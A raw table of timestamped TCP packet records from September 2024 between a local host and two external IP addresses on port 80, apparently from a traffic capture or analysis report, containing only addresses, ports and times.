Sep 27, 2024 16:18:19.395246983 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.395255089 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.395284891 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.395544052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.395560026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.395574093 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.395585060 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.395589113 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.395606041 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.395620108 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.395626068 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.395636082 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.395654917 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.427824020 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.427866936 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.427887917 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.427896023 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.427937031 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.428039074 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428054094 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428069115 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428083897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428092003 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.428116083 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.428145885 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.428292036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428307056 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428320885 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428335905 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428348064 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.428350925 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428364992 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428373098 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.428380013 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428390980 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.428394079 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428407907 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428420067 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.428447008 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.428801060 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428816080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428831100 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428847075 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428857088 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.428862095 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428870916 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.428877115 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428891897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.428903103 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.428930998 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.429106951 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.429121971 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.429142952 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.429157019 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.429161072 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.429172039 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.429177999 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.429203987 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.429214954 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.441929102 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.441966057 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.441979885 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.442039967 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.442075968 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.442079067 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.442091942 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.442152977 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.442176104 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.442190886 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.442208052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.442217112 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.442249060 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.442646027 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.442712069 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.442725897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.442759037 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.442770004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.442850113 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.442864895 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.442879915 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.442898035 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.442913055 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.442940950 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.442976952 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.443013906 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.479769945 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.479787111 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.479803085 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.479861975 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.479865074 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.479880095 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.479895115 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.479901075 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.479911089 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.479922056 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.479926109 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.479958057 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.479962111 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.479990959 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.480000973 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.480057001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480072021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480087042 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480118990 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.480144024 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.480201960 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480216980 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480232000 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480262041 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.480284929 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.480395079 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480407953 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480422974 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480437994 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480454922 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.480482101 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.480526924 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480571985 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.480583906 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480600119 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480613947 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480628014 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480628014 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.480643034 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.480659962 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.480671883 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.480808973 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480822086 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480844021 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480859041 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480861902 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.480873108 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480885029 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.480886936 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480902910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480911970 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.480918884 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.480942965 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.480959892 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.481162071 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.481225014 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.481239080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.481271029 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.481296062 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.481374979 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.481389046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.481404066 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.481417894 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.481432915 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.481434107 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.481458902 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.481473923 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.481632948 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.481656075 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.481671095 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.481683969 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.481698036 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.481699944 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.481712103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.481724024 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.481725931 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.481738091 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.481740952 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.481766939 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.481792927 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.482068062 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482083082 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482098103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482111931 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482116938 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.482125998 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482140064 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.482141972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482166052 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.482191086 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.482384920 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482398987 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482413054 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482429028 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482444048 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.482444048 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482460022 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482465982 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.482475042 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482477903 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.482507944 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.482805014 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482820034 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482834101 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482851982 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482867002 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482872963 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.482882023 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482891083 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.482897043 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.482908010 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.482938051 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.483105898 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.483120918 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.483165026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.483170033 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.483180046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.483194113 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.483203888 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.483210087 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.483226061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.483231068 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.483254910 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.483328104 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.514318943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.514349937 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.514365911 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.514379978 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.514395952 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.514410019 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.514419079 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.514427900 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.514468908 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.514483929 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.514544010 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.514566898 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.514583111 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.514626980 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.514653921 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.514770031 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.514785051 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.514800072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.514815092 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.514836073 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.514861107 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.514981031 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.514995098 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.515012026 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.515024900 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.515028000 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.515043020 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.515058994 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.515089035 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.515221119 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.515234947 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.515250921 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.515259981 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.515299082 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.515393972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.515440941 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.515563011 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.515588045 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.515603065 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.515610933 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.515618086 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.515630960 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.515631914 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.515642881 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.515646935 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.515661955 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.515667915 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.515702009 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.516443014 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.517903090 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:19.517952919 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:19.517966986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:19.517972946 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:19.517997980 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:19.518019915 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:19.518045902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:19.518059969 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:19.518075943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:19.518106937 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:19.518148899 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:19.518749952 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:19.520735025 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:19.522239923 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:19.527684927 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:19.529618979 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.529645920 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.529659986 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.529707909 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.529748917 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.529748917 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.529768944 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.529805899 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.529848099 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.529863119 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.529877901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.529906988 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.529927969 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.530133963 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.530194998 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.530208111 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.530244112 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.530273914 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.530277014 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.530291080 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.530306101 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.530335903 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.530363083 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.530425072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.530441046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.530483961 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.568386078 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.568404913 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.568429947 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.568444967 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.568459988 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.568475008 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.568490028 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.568499088 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.568551064 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.568605900 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.568650007 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.568674088 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.568715096 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.568732023 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.568746090 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.568759918 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.568769932 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.568775892 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.568788052 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.568804979 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.568816900 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.568950891 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.568964958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.568979979 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.569004059 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.569030046 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.569338083 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.569385052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.569400072 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.569426060 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.569454908 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:19.569509029 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.569524050 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:19.569575071 CEST	49615	80	192.168.2.6	185.215.113.117
